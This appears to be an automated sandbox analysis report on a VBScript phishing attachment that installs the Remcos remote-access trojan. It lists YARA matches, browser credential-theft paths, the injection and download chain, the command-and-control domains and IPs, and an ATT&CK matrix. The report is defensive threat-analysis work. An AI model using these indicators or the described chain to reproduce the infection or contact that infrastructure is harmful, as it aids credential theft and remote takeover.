                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041A045 __EH_prolog,GdiplusStartup,CreateDirectoryW,Sleep,Sleep,GetLocalTime,Sleep,22_2_0041A045
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041B69E GetUserNameW,22_2_0041B69E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00449210 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,22_2_00449210
                      Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                      Stealing of Sensitive Information

                      barindex
                      Yara detected Remcos RAT
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0000001C.00000002.2498769602.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2408800812.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3438933111.00000000028BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7796, type: MEMORYSTR
                      Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                      Contains functionality to steal Chrome passwords or cookies
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data22_2_0040BA4D
                      Contains functionality to steal Firefox passwords or cookies
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\22_2_0040BB6B
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: \key3.db22_2_0040BB6B

                      Remote Access Functionality

                      barindex
                      Detected Remcos RAT
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-NACZDT
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-NACZDT
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-NACZDT
                      Yara detected Remcos RAT
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0000001C.00000002.2498769602.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2408800812.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3438933111.00000000028BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7796, type: MEMORYSTR
                      Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: cmd.exe22_2_0040569A

                      Mitre Att&ck Matrix

                      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                      Gather Victim Identity Information321
                      Scripting                      		Valid Accounts1
                      Native API                      		321
                      Scripting                      		1
                      DLL Side-Loading                      		1
                      Disable or Modify Tools                      		1
                      OS Credential Dumping                      		2
                      System Time Discovery                      		Remote Services11
                      Archive Collected Data                      		1
                      Web Service                      		1
                      Exfiltration Over Alternative Protocol                      		1
                      System Shutdown/Reboot
                      CredentialsDomainsDefault Accounts1
                      Exploitation for Client Execution                      		1
                      DLL Side-Loading                      		1
                      Bypass User Account Control                      		1
                      Deobfuscate/Decode Files or Information                      		211
                      Input Capture                      		1
                      Account Discovery                      		Remote Desktop Protocol211
                      Input Capture                      		12
                      Ingress Tool Transfer                      		Exfiltration Over Bluetooth1
                      Defacement
                      Email AddressesDNS ServerDomain Accounts3
                      Command and Scripting Interpreter                      		1
                      Windows Service                      		1
                      Access Token Manipulation                      		3
                      Obfuscated Files or Information                      		2
                      Credentials In Files                      		1
                      System Service Discovery                      		SMB/Windows Admin Shares3
                      Clipboard Data                      		21
                      Encrypted Channel                      		Automated ExfiltrationData Encrypted for Impact
                      Employee NamesVirtual Private ServerLocal Accounts2
                      Service Execution                      		11
                      Registry Run Keys / Startup Folder                      		1
                      Windows Service                      		2
                      Software Packing                      		NTDS4
                      File and Directory Discovery                      		Distributed Component Object ModelInput Capture1
                      Non-Standard Port                      		Traffic DuplicationData Destruction
                      Gather Victim Network InformationServerCloud Accounts3
                      PowerShell                      		Network Logon Script222
                      Process Injection                      		1
                      DLL Side-Loading                      		LSA Secrets33
                      System Information Discovery                      		SSHKeylogging1
                      Remote Access Software                      		Scheduled TransferData Encrypted for Impact
                      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts11
                      Registry Run Keys / Startup Folder                      		1
                      Bypass User Account Control                      		Cached Domain Credentials121
                      Security Software Discovery                      		VNCGUI Input Capture2
                      Non-Application Layer Protocol                      		Data Transfer Size LimitsService Stop
                      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                      File Deletion                      		DCSync21
                      Virtualization/Sandbox Evasion                      		Windows Remote ManagementWeb Portal Capture213
                      Application Layer Protocol                      		Exfiltration Over C2 ChannelInhibit System Recovery
                      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                      Masquerading                      		Proc Filesystem3
                      Process Discovery                      		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                      Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt21
                      Virtualization/Sandbox Evasion                      		/etc/passwd and /etc/shadow1
                      Application Window Discovery                      		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                      IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
                      Access Token Manipulation                      		Network Sniffing1
                      System Owner/User Discovery                      		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                      Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd222
                      Process Injection                      		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1527624 Sample: Urgent Purchase Order (P.O.... Startdate: 07/10/2024 Architecture: WINDOWS Score: 100 64 pastebin.com 2->64 66 paste.ee 2->66 68 6 other IPs or domains 2->68 94 Multi AV Scanner detection for domain / URL 2->94 96 Suricata IDS alerts for network traffic 2->96 98 Found malware configuration 2->98 102 19 other signatures 2->102 10 wscript.exe 1 2->10         started        13 cmd.exe 2->13         started        15 cmd.exe 2->15         started        signatures3 100 Connects to a pastebin service (likely for C&C) 66->100 process4 signatures5 112 VBScript performs obfuscated calls to suspicious functions 10->112 114 Suspicious powershell command line found 10->114 116 Wscript starts Powershell (via cmd or directly) 10->116 118 2 other signatures 10->118 17 powershell.exe 7 10->17         started        20 powershell.exe 13->20         started        22 conhost.exe 13->22         started        24 powershell.exe 15->24         started        26 conhost.exe 15->26         started        process6 signatures7 82 Suspicious powershell command line found 17->82 84 Self deletion via cmd or bat file 17->84 86 Tries to download and execute files (via powershell) 17->86 92 3 other signatures 17->92 28 powershell.exe 14 18 17->28         started        33 conhost.exe 17->33         started        88 Writes to foreign memory regions 20->88 90 Injects a PE file into a foreign processes 20->90 35 AddInProcess32.exe 20->35         started        37 conhost.exe 20->37         started        39 AddInProcess32.exe 24->39         started        41 conhost.exe 24->41         started        process8 dnsIp9 76 simonastolerciuc.ro 85.120.16.93, 443, 49771 RCS-RDS73-75DrStaicoviciRO Romania 28->76 78 desckvbrat.com.br 191.252.83.213, 21, 49712, 49723 LocawebServicosdeInternetSABR Brazil 28->78 80 paste.ee 188.114.96.3, 443, 49725, 49763 CLOUDFLARENETUS European Union 28->80 62 C:\Users\user\AppData\Roaming\...\mdwpy.ps1, Unicode 28->62 dropped 132 Self deletion via cmd or bat file 28->132 134 Adds a directory exclusion to Windows Defender 28->134 43 powershell.exe 11 28->43         started        47 cmd.exe 11 28->47         started        49 powershell.exe 23 28->49         started        51 3 other processes 28->51 136 Detected Remcos RAT 35->136 file10 signatures11 process12 dnsIp13 74 pastebin.com 172.67.19.24, 443, 52528, 52562 CLOUDFLARENETUS United States 43->74 120 Writes to foreign memory regions 43->120 122 Injects a PE file into a foreign processes 43->122 53 AddInProcess32.exe 43->53         started        124 Suspicious powershell command line found 47->124 126 Wscript starts Powershell (via cmd or directly) 47->126 128 Loading BitLocker PowerShell Module 49->128 58 WmiPrvSE.exe 2 49->58         started        130 Creates autostart registry keys with suspicious values (likely registry only malware) 51->130 signatures14 process15 dnsIp16 70 janbours92harbu03.duckdns.org 192.169.69.26, 3980, 52535, 52605 WOWUS United States 53->70 72 janbours92harbu04.duckdns.org 172.111.244.100, 3981, 52599, 52670 M247GB United States 53->72 60 C:\ProgramData\remcos\logs.dat, data 53->60 dropped 104 Contains functionality to bypass UAC (CMSTPLUA) 53->104 106 Detected Remcos RAT 53->106 108 Contains functionalty to change the wallpaper 53->108 110 5 other signatures 53->110 file17 signatures18

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      Urgent Purchase Order (P.O.) No.477764107102024.vbs0%ReversingLabs
                      Urgent Purchase Order (P.O.) No.477764107102024.vbs3%VirustotalBrowse

                      Dropped Files

                      ⊘No Antivirus matches

                      Unpacked PE Files

                      ⊘No Antivirus matches

                      Domains

                      SourceDetectionScannerLabelLink
                      paste.ee1%VirustotalBrowse
